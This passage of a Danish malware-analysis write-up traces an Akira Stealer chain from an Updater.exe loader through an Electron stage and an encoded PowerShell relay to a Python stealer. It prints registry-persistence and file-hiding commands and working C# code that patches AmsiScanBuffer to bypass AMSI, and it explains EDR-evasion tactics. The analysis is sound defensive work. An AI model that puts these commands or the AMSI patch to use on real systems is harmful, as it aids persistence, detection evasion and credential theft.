",[551,974,975],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[533,977,978],{},"Selve filen var lille, rent kompileret og ubemærkelsesværdig ud fra en statisk analyse. Ingen mistænkelige strenge, ingen krypterede sektioner og ingen tegn på obfuskering eller packing. Den importerede kun et minimalt sæt af Windows' standard-API-funktioner og indeholdt ingen indlejret payload.",[533,980,981,982,984,985,987],{},"Dens adfærd var til gengæld mere sigende. Så snart den var startet, udpakkede ",[551,983,574],{}," en Electron-applikation fra et medfølgende arkiv, en selvstændig NodeJS-runtime pakket med standardværktøjerne til Electron. Den udpakkede mappe indeholdt en eksekverbar fil ved navn ",[551,986,578],{},", som derefter blev startet som en underproces.",[588,989,992],{"className":990,"code":991,"language":593,"meta":594},[591],"Updater.exe → main.exe\n",[551,993,991],{"__ignoreMap":594},[533,995,996,997,999,1000,1002],{},"Der var ingen netværksindikatorer på dette tidspunkt, ingen procesinjektion og ingen afvigelser i rettigheder eller tokenforhøjelse. Hele rollen for ",[551,998,574],{}," så ud til at være loaderens: at levere en andentrinskomponent (",[551,1001,578],{},") ind i miljøet, sandsynligvis med det formål at bevare stealth og modularitet.",[533,1004,1005],{},"Den slags arkitektonisk opdeling er udbredt i moderne masseproduceret malware og stealer-værktøjskasser. Den initiale loader fungerer blot som en udrulningsstub, så den tungere logik, der ofte er obfuskeret, fortolket eller dynamisk genereret, kan ligge i senere trin.",[533,1007,1008,1009,1011,1012,1014,1015,586],{},"I dette tilfælde tjente ",[551,1010,574],{}," præcis det formål: et stille, indledende fodfæste bygget til at gå i ét med omgivelserne, forblive uopdaget og bane vejen for eksekveringen af den egentlige stealer-logik i ",[551,1013,578],{}," og til sidst ",[551,1016,582],{},[533,1018,1019],{},"Den rørte ikke filsystemet ud over sin egen mappe og udløste ingen adfærdsregler, og alligevel var den den første brik, der væltede i en lang og omhyggeligt konstrueret angrebskæde.",[861,1021,1023,1024,1026],{"id":1022},"_213-mainexe-obfuskeret-nodejs-payloadbeholder","2.1.3 ",[551,1025,578],{}," – obfuskeret NodeJS-payloadbeholder",[533,1028,867],{},[533,1030,1031,1032,1034,1035,1037],{},"Efter eksekveringen af ",[551,1033,574],{}," blev en andentrinsbinær ved navn ",[551,1036,578],{}," startet. Komponenten fremstod som en helt almindelig Electron-applikation, et runtime-miljø der samler Node.js og Chromium og ofte bruges til desktopapps på tværs af platforme. Dens uskyldige karakter er en del af det, der gør den så farlig i de forkerte hænder.",[533,1039,1040,1041,1043,1044,1047],{},"Ved nærmere inspektion indeholdt ",[551,1042,578],{}," et internt arkiv ved navn ",[551,1045,1046],{},"app.asar",", standardformatet til pakning af Electron-baserede applikationer. Til forskel fra legitime Electron-apps var indholdet af dette arkiv dog alt andet end almindeligt.",[604,1049,1050,1056,1062,1070],{},[607,1051,1052,1055],{},[540,1053,1054],{},"Platform",": Electron (Node.js + Chromium)",[607,1057,1058,1061],{},[540,1059,1060],{},"Arkitektur",": 64-bit Windows",[607,1063,1064,1067,1068],{},[540,1065,1066],{},"Indholdsstruktur",": Indlejrede JavaScript-filer i ",[551,1069,1046],{},[607,1071,1072,1075,1076,1079],{},[540,1073,1074],{},"Obfuskeringsniveau",": Højt, opnået med ",[551,1077,1078],{},"js-confuser",", en kommercielt tilgængelig obfuskeringsværktøjskasse til JavaScript",[533,1081,1082,1083,1085],{},"Da den var dekompileret og deobfuskeret, blev kernelogikken i ",[551,1084,578],{}," tydelig. Formålet var ikke at vise en brugerflade eller køre frontendlogik, den fungerede derimod som en skjult eksekveringsorkestrator.",[533,1087,1088],{},[540,1089,1090],{},"Observeret adfærd:",[604,1092,1093,1096,1103],{},[607,1094,1095],{},"Dekrypterer og rekonstruerer en Base64-kodet PowerShell-kommando, der er gemt i JavaScript-payloaden",[607,1097,1098,1099,1102],{},"Starter ",[551,1100,1101],{},"cmd.exe"," for at køre PowerShell-kommandoen inline",[607,1104,1105,1106,1108,1109,1112],{},"PowerShell-kommandoen kalder til gengæld ",[551,1107,553],{}," og sender et script med, der ligger under en tilsyneladende harmløs mappestruktur (",[551,1110,1111],{},"Crypto\\Util\\astor.py",")",[588,1114,1117],{"className":1115,"code":1116,"language":593,"meta":594},[591],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[551,1118,1116],{"__ignoreMap":594},[533,1120,1121],{},"Kædningen gjorde det muligt for angriberen at skifte eksekveringskontekst og undgå ligefrem detektion. Fordi payloaden var obfuskeret og staged i hukommelsen, var traditionelle signaturbaserede kontroller virkningsløse.",[533,1123,1124],{},"Electron-frameworket leverede den ideelle dækhistorie, det tillod eksekvering af vilkårlig JavaScript uden at tiltrække opmærksomhed. JavaScript-baseret eksekvering gav desuden kompatibilitet på tværs af platforme, hvilket muliggjorde fleksibel udrulning og lettere integration af dynamisk styringslogik.",[533,1126,1127,1128,1130],{},"Det, der gjorde ",[551,1129,578],{}," særligt farlig, var evnen til at arbejde uden at droppe flere filer end dem, der allerede var staged. Stealer-scriptet blev kaldt direkte fra disk, men al staging- og eksekveringslogik forblev indlejret i Electron-bundtet.",[533,1132,1133,1134,1136,1137,586],{},"Kort sagt fungerede ",[551,1135,578],{}," som den obfuskerede eksekveringskerne i flere lag, som portvagt mellem den initiale persistens og den fulde aktivering af Akira Stealer-payloaden i ",[551,1138,582],{},[861,1140,1142,1143,1145],{"id":1141},"_214-cmdexe-og-powershell-relæ","2.1.4 ",[551,1144,1101],{}," og PowerShell-relæ",[533,1147,867],{},[533,1149,1150],{},"Dette trin i eksekveringskæden fungerede som et relæ, ikke for payloadlogik, men for obfuskering og indirekte kald.",[533,1152,1153,1154,1156,1157,1159,1160,586],{},"Efter at ",[551,1155,578],{}," havde afsluttet sin rolle med at udpakke og afkode payloaden, startede den en ",[551,1158,1101],{},"-proces. Processen indeholdt ikke selv nogen ondsindet logik, og den hverken skrev eller ændrede filer. Dens eneste formål var at fungere som wrapper omkring en PowerShell-session med en ",[540,1161,1162],{},"kodet kommando",[533,1164,1165],{},"Metoden er en velkendt taktik, der bruges til at reducere synlighed og undgå detektion:",[604,1167,1168,1180],{},[607,1169,1170,1173,1174],{},[540,1171,1172],{},"Eksekveringskæde",":",[588,1175,1178],{"className":1176,"code":1177,"language":593},[591],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[551,1179,1177],{"__ignoreMap":594},[607,1181,1182,1173,1185],{},[540,1183,1184],{},"Formål",[604,1186,1187,1190,1193],{},[607,1188,1189],{},"Indkapsler PowerShell-eksekveringen i endnu en shell",[607,1191,1192],{},"Skjuler den egentlige PowerShell-kode fra direkte synlighed i logfilerne",[607,1194,1195,1196,1199],{},"Omgår EDR-løsninger, der udløses af direkte brug af ",[551,1197,1198],{},"powershell.exe"," med mistænkelige parametre",[533,1201,1202,1203,1205],{},"Ved at indlejre PowerShell-scriptet som en Base64-kodet streng og kalde det gennem ",[551,1204,1101],{}," undgik angriberen flere former for detektion:",[604,1207,1208,1213,1218],{},[607,1209,1210],{},[540,1211,1212],{},"Heuristiske filtre på kommandolinjen",[607,1214,1215],{},[540,1216,1217],{},"Standardlogning (for eksempel Event ID 4104, 4688)",[607,1219,1220],{},[540,1221,1222,1223,1225,1226,620,1229,1232],{},"Regelbaserede detektioner af ",[551,1224,1198],{},"-argumenter som ",[551,1227,1228],{},"-NoProfile",[551,1230,1231],{},"-ExecutionPolicy Bypass"," eller inline-scripts",[533,1234,1235,1236,1238,1239,1241],{},"Bemærkelsesværdigt nok blev PowerShell-kommandoen holdt minimal og alene rettet mod at starte ",[551,1237,553],{}," med en sti til det indlejrede stealer-script, ",[551,1240,582],{},". Der blev ikke indlæst yderligere moduler, og der var ingen tydelige signaturer i hukommelsen.",[533,1243,1244],{},"Relæteknikken bruges både i red teaming og af avancerede infostealere, som et let omgåelseslag der er nemt at implementere, men svært at fange uden korrelation af telemetri.",[533,1246,1008,1247,1249],{},[551,1248,1101],{}," præcis det formål: en simpel, lydløs bro mellem JavaScript-logik og Python-eksekvering, en der næsten slap ubemærket igennem.",[861,1251,1253,1254,1256,1257],{"id":1252},"_215-pythonexe-med-astorpy","2.1.5 ",[551,1255,553],{}," med ",[551,1258,582],{},[533,1260,867],{},[533,1262,1263,1264,1266,1267,1269],{},"Det sidste og mest virkningsfulde trin i eksekveringskæden blev nået, da ",[551,1265,553],{}," kaldte ",[551,1268,582],{},", en Python-baseret, modulær infostealer der udelukkende arbejder i hukommelsen. Scriptet udgjorde den operationelle kerne i hele angrebskæden.",[533,1271,1272,1273,1275],{},"Til forskel fra mange masseproducerede stealere blev ",[551,1274,582],{}," ikke udrullet i klartekst. Den var beskyttet af en dekrypteringsmekanisme i flere lag:",[604,1277,1278,1287],{},[607,1279,1280,1283,1284,586],{},[540,1281,1282],{},"Dekrypteringsstak",": Filen blev først GZIP-komprimeret og derefter krypteret med ",[540,1285,1286],{},"AES-256-CBC",[607,1288,1289,1292],{},[540,1290,1291],{},"Nøgleafledning",": Der blev brugt en PBKDF2-baseret nøgleafledning (SHA-512, 1.000.000 iterationer), hvilket gør statisk analyse og brute force yderst upraktisk.",[533,1294,1295],{},"Når scriptet først var dekrypteret ved kørsel, eksekverede det flere specialiserede moduler, alle rettet mod følsomme datakilder:",[533,1297,1298],{},[540,1299,1300],{},"Kernefunktioner",[604,1302,1303,1309,1319,1329],{},[607,1304,1305,1308],{},[540,1306,1307],{},"Udtræk af browserdata",": Hentede loginoplysninger, cookies og autofyld-data fra Chromium-baserede browsere (Chrome, Edge, Brave, Opera)",[607,1310,1311,1314,1315,1318],{},[540,1312,1313],{},"Indsamling af tokens",": Samlede sessionstokens, især fra ",[540,1316,1317],{},"Discord",", og ledte efter udvidelser til kryptovalutawallets",[607,1320,1321,1324,1325,1328],{},[540,1322,1323],{},"Datapakning",": Samlede alle indsamlede data i et struktureret ",[540,1326,1327],{},"ZIP-arkiv"," og bevarede mappe- og filkonteksten, så angriberen kunne parse dem",[607,1330,1331,1334],{},[540,1332,1333],{},"Eksfiltrering",": Uploadede det færdige arkiv til offentlige API'er og infrastruktur.",[533,1336,1337],{},[540,1338,965],{},[533,1340,1341],{},"Hele stealer-logikken kørte fra hukommelsen, uden at skrive persistente filer til disk. Den efterlod minimale telemetrispor ud over artefakter i proceshukommelsen og helt almindelige kald af underprocesser. Der blev ikke gjort forsøg på at etablere persistens i dette trin, målet var hurtigt, effektivt og lydløst datatyveri.",[533,1343,1344],{},"Brugen af legitime API'er til eksfiltrering gjorde det også betydeligt sværere at opdage og forhindre, fordi den udgående trafik gik i ét med helt almindelig internetaktivitet.",[533,1346,1347,1348,1350],{},"Dette trin bekræftede endeligt malwarens identitet: en variant af ",[540,1349,651],{},", kendt for sin:",[604,1352,1353,1356,1359,1362],{},[607,1354,1355],{},"Høje modularitet",[607,1357,1358],{},"Obfuskering ved kørsel",[607,1360,1361],{},"Kommercielle distribution via Telegram",[607,1363,1364],{},"Stærke fokus på indsamling af loginoplysninger og tokenbaseret sessionskapring",[533,1366,1367,1368,1370],{},"Sammen med de tidligere trin udgjorde ",[551,1369,582],{}," det kritiske endepunkt i en lydløs og velkonstrueret infostealer-kæde. I de følgende afsnit dissekerer vi komponenten yderligere og forklarer, hvordan vi reverse engineerede dens logik, kortlagde dens infrastruktur og genskabte hver eneste kompromitteringsindikator, den brugte undervejs.",[528,1372,1374,1375],{"id":1373},"_3-deep-dive-updaterexe","3. Deep Dive: ",[551,1376,574],{},[533,1378,535],{},[533,1380,1381,1383],{},[551,1382,574],{}," var den første binærfil, vi observerede under analysen efter kompromitteringen. Trods sit neutrale udseende og forsvindende lille detektionsaftryk spillede den en afgørende rolle i at opretholde malwarens operationelle persistens og levere payloaden til næste trin.",[714,1385,1387],{"id":1386},"_31-egenskaber","3.1 Egenskaber",[533,1389,720],{},[1391,1392,1393,1406],"table",{},[1394,1395,1396],"thead",{},[1397,1398,1399,1403],"tr",{},[1400,1401,1402],"th",{},"Egenskab",[1400,1404,1405],{},"Værdi",[1407,1408,1409,1420,1430,1440,1450,1460],"tbody",{},[1397,1410,1411,1417],{},[1412,1413,1414],"td",{},[540,1415,1416],{},"Format:",[1412,1418,1419],{},"Windows Portable Executable (PE32)",[1397,1421,1422,1427],{},[1412,1423,1424],{},[540,1425,1426],{},"Arkitektur:",[1412,1428,1429],{},"x86-64",[1397,1431,1432,1437],{},[1412,1433,1434],{},[540,1435,1436],{},"Størrelse:",[1412,1438,1439],{},"~154 KB",[1397,1441,1442,1447],{},[1412,1443,1444],{},[540,1445,1446],{},"Entropi:",[1412,1448,1449],{},"Normal (ikke packed)",[1397,1451,1452,1457],{},[1412,1453,1454],{},[540,1455,1456],{},"Signaturer:",[1412,1458,1459],{},"Ingen",[1397,1461,1462,1467],{},[1412,1463,1464],{},[540,1465,1466],{},"VirusTotal-detektion:",[1412,1468,1469],{},"1/69 på analysetidspunktet",[533,1471,1472],{},"Filen havde en ren importtabel og ingen indlejrede strengindikatorer. Der blev ikke fundet kendte packers, crypters eller mekanismer til obfuskering ved kørsel. Strukturen svarede til specialkompilerede binærfiler.",[714,1474,1476],{"id":1475},"_32-adfærdsanalyse","3.2 Adfærdsanalyse",[533,1478,720],{},[533,1480,1481],{},[540,1482,1483],{},"Ingen brugerinteraktion nødvendig",[533,1485,1486,1487,1489],{},"Malwarekæden kørte, uden at brugeren behøvede at foretage sig noget. Ud fra Defenders procestelemetri blev den første binærfil (",[551,1488,574],{},") startet automatisk, efter al sandsynlighed via en persistensmekanisme som en autorun-nøgle i registry. På grund af kompromitteringens alder og de manglende historiske hændelseslogfiler kunne den præcise persistensmetode dog ikke genskabes.",[533,1491,1492],{},[540,1493,1494],{},"Lydløs eksekvering og staging",[533,1496,1497,1498,1500,1501,1503],{},"Ved kørsel startede ",[551,1499,574],{}," straks ",[551,1502,578],{}," uden noget synligt vindue og uden dialoger til brugeren. Staging skete lydløst i baggrunden. Der var intet spor af samtykkedialoger, UAC-prompter eller grafiske komponenter.",[533,1505,1506],{},[540,1507,1508],{},"Adfærd ved udrulning af payload",[533,1510,1511,1513],{},[551,1512,578],{}," viste sig at være en del af en Electron-applikationsstruktur, men det præcise ophav for udrulningen er stadig uklart. Et af følgende antages:",[604,1515,1516,1522],{},[607,1517,1518,1519,1521],{},"Payloaden kan have været pakket internt i ",[551,1520,574],{}," (for eksempel som en indlejret ressource), eller",[607,1523,1524],{},"den kan være hentet fra en ekstern kilde",[533,1526,1527],{},"Uden netværkstelemetri og uden nogen genfundet hardkodet URL forbliver leveringsvektoren for Electron-appen uafklaret.",[533,1529,1530],{},[540,1531,1532],{},"Adfærd i proceskæden",[533,1534,1535,1536,1538,1539,1541],{},"Når ",[551,1537,574],{}," først var kørt, startede den ",[551,1540,578],{}," som underproces. Kaldet var ikke-interaktivt, og ingen af processerne i kæden viste aktivitet i brugerfladen. Proceskæden fortsatte som forventet:",[588,1543,1546],{"className":1544,"code":1545,"language":593},[591],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[551,1547,1545],{"__ignoreMap":594},[533,1549,1550],{},"Alle eksekveringstrin fungerede uden at kræve input fra brugeren og byggede udelukkende på forudkonfigureret startlogik og lydløse eksekveringsveje. Det minimerede eksponeringen og hjalp malwaren med at forblive uopdaget i en længere periode.",[714,1552,1554],{"id":1553},"_33-rollen-i-infektionskæden","3.3 Rollen i infektionskæden",[533,1556,720],{},[533,1558,1559,1561,1562,1565,1566,586],{},[551,1560,574],{}," spillede ",[540,1563,1564],{},"én enkelt, men helt central rolle"," i den bredere infektionskæde: den stod for persistensen og genudrulningen af trin 2-komponenten, ",[551,1567,578],{},[533,1569,1570],{},[540,1571,1572],{},"Bekræftede kendetegn",[604,1574,1575,1582,1589],{},[607,1576,1577,1578,1581],{},"Den indeholdt eller kørte ",[540,1579,1580],{},"ikke"," ondsindet logik direkte",[607,1583,1584,1585,1588],{},"Den udførte ",[540,1586,1587],{},"ingen"," dataeksfiltrering",[607,1590,1591,1592,1594],{},"Den interagerede ",[540,1593,1580],{}," med browserens credential stores eller følsomme brugerdata",[533,1596,1597,1598,1600],{},"Dens eneste formål var lydløst at starte ",[551,1599,578],{},", når brugeren loggede ind, og den mest sandsynlige persistensmetode var en autorun-post i registry (selvom den ikke blev genfundet direkte på grund af begrænsninger i telemetrien).",[533,1602,1603,1604,1606,1607,1609],{},"Ved at fungere som en isoleret loader i første trin sikrede ",[551,1605,574],{},", at selve stealer-payloaden (",[551,1608,582],{},") forblev skjult i dybere eksekveringslag. Denne opdeling af opgaver gjorde det muligt for angriberne at:",[604,1611,1612,1615,1618],{},[607,1613,1614],{},"Undgå korrelation fra statisk AV eller sandkassesystemer",[607,1616,1617],{},"Udskifte eller opdatere payloads uden at ændre loaderen",[607,1619,1620],{},"Reducere adfærdssignalerne ved indgangspunktet",[533,1622,1623,1624,1627],{},"Mønstret er typisk for ",[540,1625,1626],{},"malware-as-a-service (MaaS)","-operationer, hvor leveringsmekanismerne er generiske, og payloads er modulære eller kundespecifikke.",[533,1629,1630,1631,1633],{},"I dette tilfælde leverede ",[551,1632,574],{}," præcis nok logik til at fungere som et pålideligt og lydløst indgangspunkt: ikke mere, men heller ikke mindre.",[714,1635,1637],{"id":1636},"_34-persistens-via-registry-bekræftet-i-astorpy","3.4 Persistens via registry (bekræftet i astor.py)",[533,1639,720],{},[533,1641,1642,1643,1645],{},"Statisk analyse af Python-payloaden viste, at ",[551,1644,574],{}," udtrykkeligt gøres persistent med en autorun-post i registry:",[604,1647,1648,1656,1664],{},[607,1649,1650,972,1653],{},[540,1651,1652],{},"Registry-sti",[551,1654,1655],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[607,1657,1658,972,1661],{},[540,1659,1660],{},"Værdinavn",[551,1662,1663],{},"Realtek Audio",[607,1665,1666,972,1669],{},[540,1667,1668],{},"Payload-sti",[551,1670,1671],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[533,1673,1674],{},"Den tilhørende registry-kommando køres via PowerShell:",[588,1676,1680],{"className":1677,"code":1678,"language":1679,"meta":594,"style":594},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[551,1681,1682],{"__ignoreMap":594},[1683,1684,1687],"span",{"class":1685,"line":1686},"line",1,[1683,1688,1678],{},[533,1690,1691],{},"Det sikrer, at malwaren startes ved hvert brugerlogin. Filen markeres desuden med attributterne hidden og system for yderligere at undgå detektion:",[588,1693,1695],{"className":1677,"code":1694,"language":1679,"meta":594,"style":594},"attrib +h +s \"Updater.exe\"\n",[551,1696,1697],{"__ignoreMap":594},[1683,1698,1699],{"class":1685,"line":1686},[1683,1700,1694],{},[533,1702,1703],{},"Denne persistensmekanisme var indlejret direkte i astor.py-koden, hvilket bekræfter, at stealeren i sidste trin aktivt holder loaderen til stede på disken og i startup-delen af registry.",[714,1705,1707],{"id":1706},"_35-sammenfatning","3.5 Sammenfatning",[533,1709,720],{},[820,1711,1712],{},[533,1713,1714,1715,1717],{},"Selvom ",[551,1716,574],{}," ikke i sig selv var ondsindet i struktur eller indhold, bekræftede dens adfærd i konteksten af eksekveringskæden rollen som malware loader.",[826,1719],{"className":1720},[829],[533,1722,1723],{},"Binærfilen fungerede som en ren, minimalistisk launcher i første trin, der undgik detektion fra statisk analyse, AV-engines og adfærdsregler. Designet var udelukkende rettet mod stealth og operationel understøttelse, ikke mod selv at køre ondsindet logik.",[533,1725,1726,1727,1729,1730,1732,1733,1736],{},"Dens rolle rakte dog videre end den indledende udrulning. Under reverse engineering af ",[551,1728,582],{},"-payloaden fandt vi logik, der aktivt kontrollerede, om ",[551,1731,574],{}," var til stede. Kontrollen var en del af en bredere ",[540,1734,1735],{},"health- og self-healing-cyklus"," i stealer-koden, en mekanisme bygget til at verificere infektionskædens integritet og genskabe manglende komponenter efter behov.",[533,1738,1739,1740,1742,1743,1746],{},"Det betyder, at ",[551,1741,574],{}," ikke kun stod for at sætte malwaren i gang, men også indgik i dens ",[540,1744,1745],{},"løbende validering ved kørsel",". Uden denne stub kunne malwaren miste evnen til at initialisere sig selv igen i fremtidige sessioner.",[533,1748,1749],{},[540,1750,1751,1752,1173],{},"Centrale funktioner i ",[551,1753,574],{},[604,1755,1756,1761,1766,1769],{},[607,1757,1758,1759],{},"Gnidningsfri udrulning af ",[551,1760,578],{},[607,1762,1763,1764],{},"Indirekte eksekvering af ",[551,1765,582],{},[607,1767,1768],{},"Afkobling af loader- og payloadlogik",[607,1770,1771,1774],{},[540,1772,1773],{},"Refereret af payloaden selv"," som en del af den operationelle health-overvågning",[533,1776,1777],{},"I afsnit 5 gennemgår vi stealerens interne health check-rutiner i detaljer, herunder dens self-healing-adfærd og mekanismer til integritetsvalidering.",[533,1779,1780,1781,1783],{},"Indtil videre står det klart, at ",[551,1782,574],{}," fungerede som både tændrør og ankerpunkt i denne lagdelte infostealer-arkitektur.",[714,1785,1787],{"id":1786},"_36-et-udtrækstrick-at-overliste-loaderen","3.6 Et udtrækstrick: at overliste loaderen",[533,1789,720],{},[533,1791,1792],{},"Nogle gange kommer de bedste resultater inden for reverse engineering ikke fra dyb disassemblering af binærfiler, men fra en smule snuhed og tålmodighed.",[533,1794,1795,1796,1798,1799,1801],{},"Da vi analyserede infektionen i et kontrolleret labmiljø, bed vi mærke i noget mærkeligt: ",[551,1797,574],{}," var til stede og kørte, men ",[551,1800,578],{}," var forsvundet fra filsystemet. Så fik vi en idé: hvad sker der, hvis vi lader malwaren reparere sig selv?",[533,1803,1804,1805,1810,1811,1813],{},"Vi ",[540,1806,1807,1808],{},"slettede bevidst ",[551,1809,578],{}," fra det inficerede miljø og lod ",[551,1812,574],{}," være urørt. Og ganske rigtigt, efter næste login i brugersessionen gik loaderen i gang, ikke med et raserianfald, men med et stille forsøg på at genopbygge sit andet trin.",[533,1815,1816,1817,1819,1820,1822,1823,1826,1827,1830,1831,620,1833,558,1836,1838],{},"Her blev det interessant: i stedet for direkte at genskabe ",[551,1818,578],{}," droppede ",[551,1821,574],{}," først en fil ved navn ",[551,1824,1825],{},"app-64.7z",", et ganske almindeligt ",[540,1828,1829],{},"7-Zip-arkiv",". Arkivet indeholdt hele Electron-applikationsstrukturen, herunder ",[551,1832,578],{},[551,1834,1835],{},"resources",[551,1837,1046],{},"-payloaden med al indlejret logik.",[533,1840,1841,1842,586],{},"Vi havde i praksis ",[540,1843,1844],{},"tvunget malwaren til at række os kildepakken",[533,1846,1847],{},[748,1848],{"alt":1849,"src":1850},"Mistænkelig Updater-eksekverbar fil opdaget","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[533,1852,1853],{},"Med 7z-arkivet i hånden kunne vi udtrække, dekomprimere og reverse engineere hele den JavaScript-baserede orkestreringslogik uden overhovedet at røre den oprindelige loader igen. Arkivstrukturen svarede præcist til det forventede layout for en Electron-app.",[533,1855,1856,1857,1860],{},"Adfærden peger stærkt på, at angriberne bevidst valgte en ",[540,1858,1859],{},"modulær arkitektur, der er til at vedligeholde",", og brugte arkiver som fleksible payloadbeholdere. Det gjorde det også muligt for dem at udskifte eller opdatere payloadkomponenter uden at kompilere loader-binærfilen igen.",[533,1862,1863],{},"Og i vores tilfælde? Det gjorde det muligt at overliste deres kæde, opsnappe droppet og gå derfra med hele pakken, som at stjæle tegningerne fra høvlebænken, mens håndværkeren kiggede den anden vej.",[533,1865,1866,1867],{},"Lad os bare sige det sådan: ",[540,1868,1869,1870,620,1873,1876],{},"nogle gange er de bedste forensiske værktøjer ",[551,1871,1872],{},"del",[551,1874,1875],{},"wait"," og en smule nysgerrighed.",[528,1878,1880,1881],{"id":1879},"_4-deep-dive-powbat","4. Deep Dive: ",[551,1882,1883],{},"pow.bat",[533,1885,535],{},[533,1887,1888,1889,1892],{},"I den analyserede malwarekampagne fungerer komponenten ",[551,1890,1891],{},"Invoke-SharpLoader"," som en specialbygget, hukommelsesresident .NET-loader med et stærkt modulært og undvigende eksekveringsflow. Dette afsnit dissekerer dens interne arkitektur, dens anti-analysestrategi via AMSI-patching og dens rolle i at bane vejen for payloaden i andet trin.",[714,1894,1896],{"id":1895},"_41-binære-egenskaber-sharploader-batch-wrapper","4.1 Binære egenskaber – SharpLoader Batch Wrapper",[533,1898,720],{},[533,1900,1901,1902,1904],{},"Før den køres for at indlæse .NET-payloaden i hukommelsen, har den ydre wrapper ",[551,1903,1883],{}," følgende kendetegn ifølge den statiske analyse:",[1391,1906,1907,1915],{},[1394,1908,1909],{},[1397,1910,1911,1913],{},[1400,1912,1402],{},[1400,1914,1405],{},[1407,1916,1917,1926,1935,1945,1954,1964,1974,1983],{},[1397,1918,1919,1923],{},[1412,1920,1921],{},[540,1922,1416],{},[1412,1924,1925],{},"DOS-batchfil",[1397,1927,1928,1932],{},[1412,1929,1930],{},[540,1931,1426],{},[1412,1933,1934],{},"Scriptbaseret (ikke kompileret binærfil)",[1397,1936,1937,1942],{},[1412,1938,1939],{},[540,1940,1941],{},"Filstørrelse:",[1412,1943,1944],{},"27.79 KB (28454 bytes)",[1397,1946,1947,1951],{},[1412,1948,1949],{},[540,1950,1446],{},[1412,1952,1953],{},"Normal (ren ASCII-tekst)",[1397,1955,1956,1961],{},[1412,1957,1958],{},[540,1959,1960],{},"Magic:",[1412,1962,1963],{},"DOS batch file, ASCII text",[1397,1965,1966,1971],{},[1412,1967,1968],{},[540,1969,1970],{},"Digital signatur:",[1412,1972,1973],{},"Ingen fundet",[1397,1975,1976,1980],{},[1412,1977,1978],{},[540,1979,1466],{},[1412,1981,1982],{},"26 / 61 (på analysetidspunktet)",[1397,1984,1985,1990],{},[1412,1986,1987],{},[540,1988,1989],{},"Trusselslabels:",[1412,1991,1992,620,1995,620,1998,620,2000],{},[551,1993,1994],{},"trojan",[551,1996,1997],{},"downloader",[551,1999,1679],{},[551,2001,2002],{},"agentb",[533,2004,2005,2006,2009],{},"Selvom der bare er tale om en ",[551,2007,2008],{},".bat","-fil, undgår scriptet mange statiske detektioner og læner sig kraftigt op ad living-off-the-land-teknikker som PowerShell til at hente og køre obfuskerede og krypterede payloads.",[714,2011,2013,2014,1112],{"id":2012},"_42-amsi-bypass-teknik-klassen-gofor4msi","4.2 AMSI Bypass-teknik (klassen ",[551,2015,2016],{},"gofor4msi",[533,2018,720],{},[533,2020,2021],{},"En af de første forsvarsmekanismer, SharpLoader omgår, er AMSI, Anti-Malware Scan Interface, en Microsoft-funktion der er integreret i scriptmotorer som PowerShell og Windows Script Host for at scanne indhold i realtid for mistænkelig adfærd. Malwareudviklere forsøger ofte at omgå AMSI for at undgå detektion fra endpoint-beskyttelsessystemer.",[533,2023,2024,2025,2028,2029,2032,2033,2036,2037,2040,2041,2044],{},"I SharpLoader implementeres AMSI-omgåelsen gennem ",[540,2026,2027],{},"direkte patching i hukommelsen"," af funktionen ",[551,2030,2031],{},"AmsiScanBuffer"," i ",[551,2034,2035],{},"amsi.dll",". Funktionen står normalt for at analysere scriptindhold og returnere en resultatkode, der angiver, om indholdet er mistænkeligt (",[551,2038,2039],{},"AMSI_RESULT_DETECTED",") eller sikkert (",[551,2042,2043],{},"AMSI_RESULT_CLEAN",").",[533,2046,2047],{},"Den relevante kode til patching i hukommelsen er:",[588,2049,2053],{"className":2050,"code":2051,"language":2052,"meta":594,"style":594},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[551,2054,2055,2060,2066,2072],{"__ignoreMap":594},[1683,2056,2057],{"class":1685,"line":1686},[1683,2058,2059],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1683,2061,2063],{"class":1685,"line":2062},2,[1683,2064,2065],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1683,2067,2069],{"class":1685,"line":2068},3,[1683,2070,2071],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1683,2073,2075],{"class":1685,"line":2074},4,[1683,2076,2077],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[533,2079,2080],{},"Sekvensen udfører følgende trin:",[2082,2083,2084,2093,2104,2114],"ol",{},[607,2085,2086,2089,2090,586],{},[540,2087,2088],{},"Indlæs AMSI-DLL'en"," i processen med ",[551,2091,2092],{},"LoadLibrary(\"amsi.dll\")",[607,2094,2095,2098,2099,583,2101,586],{},[540,2096,2097],{},"Slå hukommelsesadressen op"," for funktionen ",[551,2100,2031],{},[551,2102,2103],{},"GetProcAddress()",[607,2105,2106,2109,2110,2113],{},[540,2107,2108],{},"Ændr hukommelsesbeskyttelsen"," for adressen med ",[551,2111,2112],{},"VirtualProtect()",", så den bliver skrivbar.",[607,2115,2116,1256,2119,2122],{},[540,2117,2118],{},"Overskriv begyndelsen af funktionen",[551,2120,2121],{},"Marshal.Copy()"," og en lille shellcode-patch.",[533,2124,2125],{},"Den patch, der anvendes på 64-bit-systemer, er:",[588,2127,2129],{"className":2050,"code":2128,"language":2052,"meta":594,"style":594},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[551,2130,2131],{"__ignoreMap":594},[1683,2132,2133],{"class":1685,"line":1686},[1683,2134,2128],{},[533,2136,2137],{},"Det svarer til følgende 